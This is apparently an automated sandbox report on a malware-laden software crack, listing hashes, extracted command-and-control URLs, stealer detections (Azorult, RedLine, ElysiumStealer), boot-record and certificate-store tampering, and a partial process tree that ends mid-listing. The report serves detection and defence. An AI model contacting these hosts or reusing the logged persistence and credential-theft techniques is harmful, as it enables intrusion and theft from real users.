Analysis
-
max time kernel
87s -
max time network
304s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
05-03-2021 05:11
Static task
static1
Behavioral task
behavioral1
Sample
Snap.Grabber.2.5.crack.by.aaocg.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Snap.Grabber.2.5.crack.by.aaocg.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Snap.Grabber.2.5.crack.by.aaocg.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Snap.Grabber.2.5.crack.by.aaocg.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Snap.Grabber.2.5.crack.by.aaocg.exe
Resource
win7v20201028
General
-
Target
Snap.Grabber.2.5.crack.by.aaocg.exe
-
Size
8.6MB
-
MD5
4c5d5630a17759bff9cb25a75a6de902
-
SHA1
7e30a081298ef34a5f7db00607f10c72464e4c96
-
SHA256
45411d2b5bf4e2d0e75af577252aba0a84ccc51e7b05e9b67a54390bb7aab8d8
-
SHA512
09d2a7fa28f88dd5c622b99318a7d68b1c3f9f6fa3edbe589cb067478dba73e790346b967599dde0745e8afeded0096c99d796206f691c34c903c97a01db80f3
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
raccoon
51c194bfb6e404af0e5ff0b93b443907a6a845b1
-
url4cnc
https://telete.in/h_focus_1
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
ElysiumStealer
ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.
-
ElysiumStealer Payload 3 IoCs
resource yara_rule behavioral2/memory/3956-165-0x0000000001090000-0x0000000001096000-memory.dmp elysiumstealer behavioral2/files/0x000200000001aba7-154.dat elysiumstealer behavioral2/files/0x000200000001aba7-153.dat elysiumstealer -
ElysiumStealer Support DLL 1 IoCs
resource yara_rule behavioral2/files/0x000100000001abab-170.dat elysiumstealer_dll -
Glupteba Payload 3 IoCs
resource yara_rule behavioral2/memory/4460-218-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/4460-217-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/4460-241-0x0000000001300000-0x0000000001B5D000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral2/memory/4276-392-0x0000000000400000-0x0000000000428000-memory.dmp family_redline -
Modifies boot configuration data using bcdedit 15 IoCs
pid Process 5020 bcdedit.exe 6900 bcdedit.exe 4524 bcdedit.exe 640 bcdedit.exe 6060 bcdedit.exe 7000 bcdedit.exe 6976 bcdedit.exe 5372 bcdedit.exe 6256 bcdedit.exe 7156 bcdedit.exe 6636 bcdedit.exe 4856 bcdedit.exe 6956 bcdedit.exe 1732 bcdedit.exe 4868 bcdedit.exe -
Nirsoft 4 IoCs
resource yara_rule behavioral2/files/0x000100000001ab7b-102.dat Nirsoft behavioral2/files/0x000100000001ab7b-101.dat Nirsoft behavioral2/files/0x000100000001aba7-124.dat Nirsoft behavioral2/files/0x000100000001aba7-125.dat Nirsoft -
Executes dropped EXE 17 IoCs
pid Process 3444 keygen-pr.exe 4048 keygen-step-1.exe 2052 keygen-step-3.exe 3908 keygen-step-4.exe 2608 key.exe 3748 file.exe 3960 773.tmp.exe 1744 773.tmp.exe 3408 Setup.exe 1892 C0CA61A12E4C8B38.exe 2460 C0CA61A12E4C8B38.exe 736 Install.exe 3636 multitimer.exe 1856 askinstall20.exe 4056 1614921498763.exe 1056 md2_2efs.exe 3988 multitimer.exe -
Modifies Windows Firewall 1 TTPs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
resource yara_rule behavioral2/files/0x000100000001ab75-54.dat office_xlm_macros -
resource yara_rule behavioral2/files/0x000100000001abae-176.dat upx -
Loads dropped DLL 1 IoCs
pid Process 2328 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 298 ipinfo.io 311 ipinfo.io 36 api.ipify.org 79 ip-api.com 112 ipinfo.io 114 ipinfo.io 215 ipinfo.io -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3408 Setup.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3960 set thread context of 1744 3960 773.tmp.exe 92 PID 1892 set thread context of 420 1892 C0CA61A12E4C8B38.exe 114 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 19 IoCs
pid pid_target Process procid_target 4932 4436 WerFault.exe 146 4784 4436 WerFault.exe 146 2640 4436 WerFault.exe 146 4780 4436 WerFault.exe 146 4728 4436 WerFault.exe 146 5356 4436 WerFault.exe 146 5664 4436 WerFault.exe 146 5716 4436 WerFault.exe 146 5800 4436 WerFault.exe 146 5860 4436 WerFault.exe 146 5556 6360 WerFault.exe 275 6304 6360 WerFault.exe 275 4556 6360 WerFault.exe 275 6764 6360 WerFault.exe 275 6864 6360 WerFault.exe 275 6916 6360 WerFault.exe 275 6924 6360 WerFault.exe 275 6884 6360 WerFault.exe 275 5904 6360 WerFault.exe 275 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 773.tmp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 773.tmp.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1392 schtasks.exe 2456 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 4400 timeout.exe 5500 timeout.exe 2100 timeout.exe -
Kills process with taskkill 6 IoCs
pid Process 1644 taskkill.exe 2356 taskkill.exe 416 taskkill.exe 4876 taskkill.exe 4388 TASKKILL.exe 6936 taskkill.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe -
Runs .reg file with regedit 2 IoCs
pid Process 4480 regedit.exe 3640 regedit.exe -
Runs ping.exe 1 TTPs 4 IoCs
pid Process 2056 PING.EXE 3272 PING.EXE 3160 PING.EXE 2092 PING.EXE -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 297 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 308 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 113 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 117 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 214 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 3748 file.exe 3748 file.exe 1744 773.tmp.exe 1744 773.tmp.exe 3748 file.exe 3748 file.exe 3748 file.exe 3748 file.exe 3748 file.exe 3748 file.exe 4056 1614921498763.exe 4056 1614921498763.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3748 file.exe Token: SeShutdownPrivilege 2108 msiexec.exe Token: SeIncreaseQuotaPrivilege 2108 msiexec.exe Token: SeSecurityPrivilege 588 msiexec.exe Token: SeCreateTokenPrivilege 2108 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2108 msiexec.exe Token: SeLockMemoryPrivilege 2108 msiexec.exe Token: SeIncreaseQuotaPrivilege 2108 msiexec.exe Token: SeMachineAccountPrivilege 2108 msiexec.exe Token: SeTcbPrivilege 2108 msiexec.exe Token: SeSecurityPrivilege 2108 msiexec.exe Token: SeTakeOwnershipPrivilege 2108 msiexec.exe Token: SeLoadDriverPrivilege 2108 msiexec.exe Token: SeSystemProfilePrivilege 2108 msiexec.exe Token: SeSystemtimePrivilege 2108 msiexec.exe Token: SeProfSingleProcessPrivilege 2108 msiexec.exe Token: SeIncBasePriorityPrivilege 2108 msiexec.exe Token: SeCreatePagefilePrivilege 2108 msiexec.exe Token: SeCreatePermanentPrivilege 2108 msiexec.exe Token: SeBackupPrivilege 2108 msiexec.exe Token: SeRestorePrivilege 2108 msiexec.exe Token: SeShutdownPrivilege 2108 msiexec.exe Token: SeDebugPrivilege 2108 msiexec.exe Token: SeAuditPrivilege 2108 msiexec.exe Token: SeSystemEnvironmentPrivilege 2108 msiexec.exe Token: SeChangeNotifyPrivilege 2108 msiexec.exe Token: SeRemoteShutdownPrivilege 2108 msiexec.exe Token: SeUndockPrivilege 2108 msiexec.exe Token: SeSyncAgentPrivilege 2108 msiexec.exe Token: SeEnableDelegationPrivilege 2108 msiexec.exe Token: SeManageVolumePrivilege 2108 msiexec.exe Token: SeImpersonatePrivilege 2108 msiexec.exe Token: SeCreateGlobalPrivilege 2108 msiexec.exe Token: SeCreateTokenPrivilege 2108 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2108 msiexec.exe Token: SeLockMemoryPrivilege 2108 msiexec.exe Token: SeIncreaseQuotaPrivilege 2108 msiexec.exe Token: SeMachineAccountPrivilege 2108 msiexec.exe Token: SeTcbPrivilege 2108 msiexec.exe Token: SeSecurityPrivilege 2108 msiexec.exe Token: SeTakeOwnershipPrivilege 2108 msiexec.exe Token: SeLoadDriverPrivilege 2108 msiexec.exe Token: SeSystemProfilePrivilege 2108 msiexec.exe Token: SeSystemtimePrivilege 2108 msiexec.exe Token: SeProfSingleProcessPrivilege 2108 msiexec.exe Token: SeIncBasePriorityPrivilege 2108 msiexec.exe Token: SeCreatePagefilePrivilege 2108 msiexec.exe Token: SeCreatePermanentPrivilege 2108 msiexec.exe Token: SeBackupPrivilege 2108 msiexec.exe Token: SeRestorePrivilege 2108 msiexec.exe Token: SeShutdownPrivilege 2108 msiexec.exe Token: SeDebugPrivilege 2108 msiexec.exe Token: SeAuditPrivilege 2108 msiexec.exe Token: SeSystemEnvironmentPrivilege 2108 msiexec.exe Token: SeChangeNotifyPrivilege 2108 msiexec.exe Token: SeRemoteShutdownPrivilege 2108 msiexec.exe Token: SeUndockPrivilege 2108 msiexec.exe Token: SeSyncAgentPrivilege 2108 msiexec.exe Token: SeEnableDelegationPrivilege 2108 msiexec.exe Token: SeManageVolumePrivilege 2108 msiexec.exe Token: SeImpersonatePrivilege 2108 msiexec.exe Token: SeCreateGlobalPrivilege 2108 msiexec.exe Token: SeCreateTokenPrivilege 2108 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2108 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2108 msiexec.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3408 Setup.exe 1892 C0CA61A12E4C8B38.exe 2460 C0CA61A12E4C8B38.exe 420 firefox.exe 4056 1614921498763.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3920 wrote to memory of 932 3920 Snap.Grabber.2.5.crack.by.aaocg.exe 78 PID 3920 wrote to memory of 932 3920 Snap.Grabber.2.5.crack.by.aaocg.exe 78 PID 3920 wrote to memory of 932 3920 Snap.Grabber.2.5.crack.by.aaocg.exe 78 PID 932 wrote to memory of 3444 932 cmd.exe 81 PID 932 wrote to memory of 3444 932 cmd.exe 81 PID 932 wrote to memory of 3444 932 cmd.exe 81 PID 932 wrote to memory of 4048 932 cmd.exe 82 PID 932 wrote to memory of 4048 932 cmd.exe 82 PID 932 wrote to memory of 4048 932 cmd.exe 82 PID 932 wrote to memory of 2052 932 cmd.exe 83 PID 932 wrote to memory of 2052 932 cmd.exe 83 PID 932 wrote to memory of 2052 932 cmd.exe 83 PID 932 wrote to memory of 3908 932 cmd.exe 84 PID 932 wrote to memory of 3908 932 cmd.exe 84 PID 932 wrote to memory of 3908 932 cmd.exe 84 PID 3444 wrote to memory of 2608 3444 keygen-pr.exe 85 PID 3444 wrote to memory of 2608 3444 keygen-pr.exe 85 PID 3444 wrote to memory of 2608 3444 keygen-pr.exe 85 PID 3908 wrote to memory of 3748 3908 keygen-step-4.exe 86 PID 3908 wrote to memory of 3748 3908 keygen-step-4.exe 86 PID 3908 wrote to memory of 3748 3908 keygen-step-4.exe 86 PID 2052 wrote to memory of 3584 2052 keygen-step-3.exe 87 PID 2052 wrote to memory of 3584 2052 keygen-step-3.exe 87 PID 2052 wrote to memory of 3584 2052 keygen-step-3.exe 87 PID 2608 wrote to memory of 3172 2608 key.exe 89 PID 2608 wrote to memory of 3172 2608 key.exe 89 PID 2608 wrote to memory of 3172 2608 key.exe 89 PID 3584 wrote to memory of 2056 3584 cmd.exe 90 PID 3584 wrote to memory of 2056 3584 cmd.exe 90 PID 3584 wrote to memory of 2056 3584 cmd.exe 90 PID 3748 wrote to memory of 3960 3748 file.exe 91 PID 3748 wrote to memory of 3960 3748 file.exe 91 PID 3748 wrote to memory of 3960 3748 file.exe 91 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3960 wrote to memory of 1744 3960 773.tmp.exe 92 PID 3748 wrote to memory of 1824 3748 file.exe 93 PID 3748 wrote to memory of 1824 3748 file.exe 93 PID 3748 wrote to memory of 1824 3748 file.exe 93 PID 1824 wrote to memory of 3272 1824 cmd.exe 96 PID 1824 wrote to memory of 3272 1824 cmd.exe 96 PID 1824 wrote to memory of 3272 1824 cmd.exe 96 PID 3908 wrote to memory of 3408 3908 keygen-step-4.exe 95 PID 3908 wrote to memory of 3408 3908 keygen-step-4.exe 95 PID 3908 wrote to memory of 3408 3908 keygen-step-4.exe 95 PID 3408 wrote to memory of 2108 3408 Setup.exe 97 PID 3408 wrote to memory of 2108 3408 Setup.exe 97 PID 3408 wrote to memory of 2108 3408 Setup.exe 97 PID 588 wrote to memory of 2328 588 msiexec.exe 99 PID 588 wrote to memory of 2328 588 msiexec.exe 99 PID 588 wrote to memory of 2328 588 msiexec.exe 99 PID 3408 wrote to memory of 1892 3408 Setup.exe 100 PID 3408 wrote to memory of 1892 3408 Setup.exe 100 PID 3408 wrote to memory of 1892 3408 Setup.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\Snap.Grabber.2.5.crack.by.aaocg.exe"C:\Users\Admin\AppData\Local\Temp\Snap.Grabber.2.5.crack.by.aaocg.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:3172
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:4048
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:2056
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Users\Admin\AppData\Roaming\773.tmp.exe"C:\Users\Admin\AppData\Roaming\773.tmp.exe"5⤵
